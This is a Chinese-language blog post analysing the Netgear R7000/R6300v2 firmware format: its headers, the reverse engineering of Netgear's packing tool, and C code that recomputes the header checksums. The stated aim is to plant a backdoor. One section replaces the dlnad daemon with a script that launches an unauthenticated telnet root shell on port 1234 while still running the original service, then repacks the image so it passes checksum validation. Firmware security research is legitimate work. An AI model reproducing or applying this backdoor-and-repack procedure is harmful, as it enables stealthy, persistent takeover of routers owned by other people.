HackPluto's Blog

netgear固件分析与后门植入

字数统计: 1.5k阅读时长: 6 min
2020/09/27 Share

netgear固件格式分析及重新打包

使用binwalk提取固件

1
binwalk -e R7000-V1.0.9.88_10.2.88.chk

固件由netgear header(0x3A字节) +TRX header(0x1c字节)+linux kernel+squashfs文件系统构成。

netgear header

前0x3A字节是netgear自带的header,

1
2
3
4
5
6
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000000 2A 23 24 5E 00 00 00 3A 01 01 00 03 1A 0A 03 16 *#$^ :
00000010 C2 70 61 44 00 00 00 00 02 24 20 00 00 00 00 00 聀aD $
00000020 C2 70 61 44 F1 AC 09 FF 55 31 32 48 33 33 32 54 聀aD瘳 U12H332T
00000030 37 38 5F 4E 45 54 47 45 41 52 78_NETGEAR

通过查看R7000,XR300的多个版本chk文件,0-8字节是不变的,从9字节开始是固件的版本号。

  • 0x9-0x10字节是固件的版本号,对应着文件名。
  • 0x10-0x17,0x20-0x27 是netgear的chencksum信息,具体介绍在后面说明
  • 0x18-0x1F是固件大小,每一个chk文件大小都以0x3A结尾,所以文件大小信息的0x3A存放在0x7的位置。
  • 0x28-0x39字节是固件的种类信息,比如同一系列R7000,这12字节就是相同的。

TRX header

1
2
3
4
5
Offset      0  1  2  3  4  5  6  7   8  9  A  B  C  D  E  F

00000030 48 44 52 30 00 F0 HDR0 ?
00000040 E2 01 C3 75 71 F9 00 00 01 00 1C 00 00 00 60 E5 ?胾q? `?
00000050 21 00 00 00 00 00 !

TRX是某些路由器(如linksys)和开源固件(如OpenWRT和DD-WRT)中使用的内核映像文件的格式。

TRX文件头格式如下:

1
2
3
4
5
6
7
struct trx_header {
uint32_t magic; /* "HDR0" */
uint32_t len; /* Length of file including header */
uint32_t crc32; /* 32-bit CRC from flag_version to end of file */
uint32_t flag_version; /* 0:15 flags, 16:31 version */
uint32_t offsets[4]; /* Offsets of partitions from start of header */
};

  • 0x3A-0x3D magic魔数
  • 0x3E-0x41 image size
  • 0x42-0x45 CRC value
  • 0x46-0x47 TRX_flag
  • 0x48-0x49 TRX_version
  • 0x4A-0x55 分区偏移量:loader 偏移: 0x1C, linux kernel 偏移: 0x21E560, rootfs 偏移: 0x0

修改固件

设置后门

1
2
3
4
cd rootfs/usr/sbin
mv dlnad dlnadd
touch dlnad
vim dlnad
1
2
3
4
 #!/bin/sh

/usr/sbin/telnetd -F -l /bin/sh -p 1234 &
/usr/sbin/dlnadd &
1
sudo chown 777 dlnad

因为netgear头部含有checksum字段,我们不知道这里的验证算法,所以修改了固件内容后需要更新header的内容,这里我采用的方法是:计算crc32校验值和长度更新TRX header,利用netgear开源工具链中的packet和compatible_*.txt工具更新 netgear header。

官方开源工具

netgear官方提供的固件编译代码

在某些版本的编译代码中含有tools工具包,里面有一个packet的打包工具,我们可以利用这个工具打包固件生成header

打包固件

脚本运行环境为:Ubuntu16.04 X64
使用的固件版本为 R6300v2-V1.0.3.2_1.0.57
直接运行packet可以看到程序的example输出

逆向packet

因为不是很了解packet参数对应的具体含义,所以我使用IDA对packet进行了逆向

程序的逻辑是先通过程序参数输入对要使用的文件名变量进行赋值,然后通过 -i [configure file path/name] 获得的cfg文件提取出固件的版本信息,这个文件对应的就是 ambitCfg.h 查看文件内容,可以看到文件中定于了固件版本

1
2
3
4
5
6
7
8
9
/*formal version control*/

#define AMBIT_HARDWARE_VERSION "U12H240T00"

#define AMBIT_SOFTWARE_VERSION "V1.0.3.2"

#define AMBIT_UI_VERSION "1.0.57"

#define STRING_TBL_VERSION "1.0.3.2_2.1.33.8"

如果要打包别的版本固件需要对这里的字段修改成对应固件版本的信息。

接下来就是对三个输出文件添加header,这三个输出都是采用fwrite函数,将malloc_chunk的内容输入到文件中

查看addheader函数中对malloc_chunk的引用,可以发现,修改malloc_chunk的地方只要下面的代码

1
2
3
memcpy(malloc_chunk, v20, v24);
memcpy((char *)malloc_chunk + v24, &s, v26);
memcpy((char *)malloc_chunk + v25, dest, v27);

v20数组中先是存储了4个字节的字符串然后拷贝进了固件的版本信息

然后拷贝了 kernel_checksumrootfs_checksum 接着是对kernel文件长度和rootfs文件长度的信息,然后是rootfs_kernel_checksum,填充4字节0,加上compatible.txt里的内容,最后对整个头部再求一个checksum,将结果填充进刚才4字节0的位置

calculate_checksum

接下来分析这里的计算checksum的函数

第一次调用时a1 = 0,所以c1 = 0,c0 = 0

第二次调用时a1 = 1

这里的逻辑很简单,就是从file中每次读取一个字节的数据,然后

1
2
c0 += *(unsigned char *)(kernel_file+i);
c1 += c0;

为了验证这里的计算结果,我使用GDB调试packet
查看程序的保护措施

1
2
3
4
5
Arch:     i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

只开启了NX,没有地址随机化,所以调试起来很方便

设置args,gdb pakcet 后输入

1
set args -k R6300v2-V1.0.3.2_1.0.57.chk -b compatible_r6300v2.txt -ok kernel -oall image -or rootfs -i ambitCfg.h

在0x8048a22设置断点

可以看到 c0 = 0x6523b70c,c1 = 0x60eef274
我自己写了一个C来实现同样的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include<stdio.h>
#include<stdlib.h>

int c1,c0;

int main()
{
FILE *kernel_file_fd = fopen("R6300v2-V1.0.3.2_1.0.57.chk","rb");
void *kernel_file = malloc(0x2000000);
int file_len = fread(kernel_file,1,0x2000000,kernel_file_fd);
int i;
for(i=0;i<file_len;i++){
c0 += *(unsigned char *)(kernel_file+i);
c1 += c0;
}
printf("0x%x,0x%x\n",c0,c1);
}

运行后发现计算结果一致

接下来分析a1 = 2时,主要是对c0,c1进行移位以及相加的操作,通过调试,最终结果为
c0 = 0x5363,c1 = 1c30

返回值为0x1c305363

这个结果可以与固件中对应字段对应起来

完整版C的计算checksum代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include<stdio.h>
#include<stdlib.h>
#include<stdint.h>

int c1,c0;

int main()
{
//FILE *kernel_file_fd = fopen("R6300v2-V1.0.3.2_1.0.57.chk","rb");
FILE *kernel_file_fd = fopen("1","rb");
void *kernel_file = malloc(0x2000000);
int file_len = fread(kernel_file,1,0x2000000,kernel_file_fd);
int i;
for(i=0;i<file_len;i++){
c0 += *(unsigned char *)(kernel_file+i);
c1 += c0;
}
c0 = (c0 & 0x0ffff) + ((unsigned int)c0 >> 16);
c0 = ((c0 >> 16) + c0) & 0xffff;
c1 = (c1 & 0x0ffff) + ((unsigned int)c1 >> 16);
c1 = ((c1 >> 16) + c1) & 0xffff;
int checksum;
checksum = (c1 << 16) | c0;
printf("0x%x",checksum);
}

使用这个代码再计算一下 0x24-0x27位置的checksum

计算正确

CATALOG
  1. 1. netgear固件格式分析及重新打包
    1. 1.1. 使用binwalk提取固件
      1. 1.1.1. netgear header
      2. 1.1.2. TRX header
    2. 1.2. 修改固件
      1. 1.2.1. 设置后门
      2. 1.2.2. 官方开源工具
      3. 1.2.3. 打包固件
        1. 1.2.3.1. 逆向packet
        2. 1.2.3.2. calculate_checksum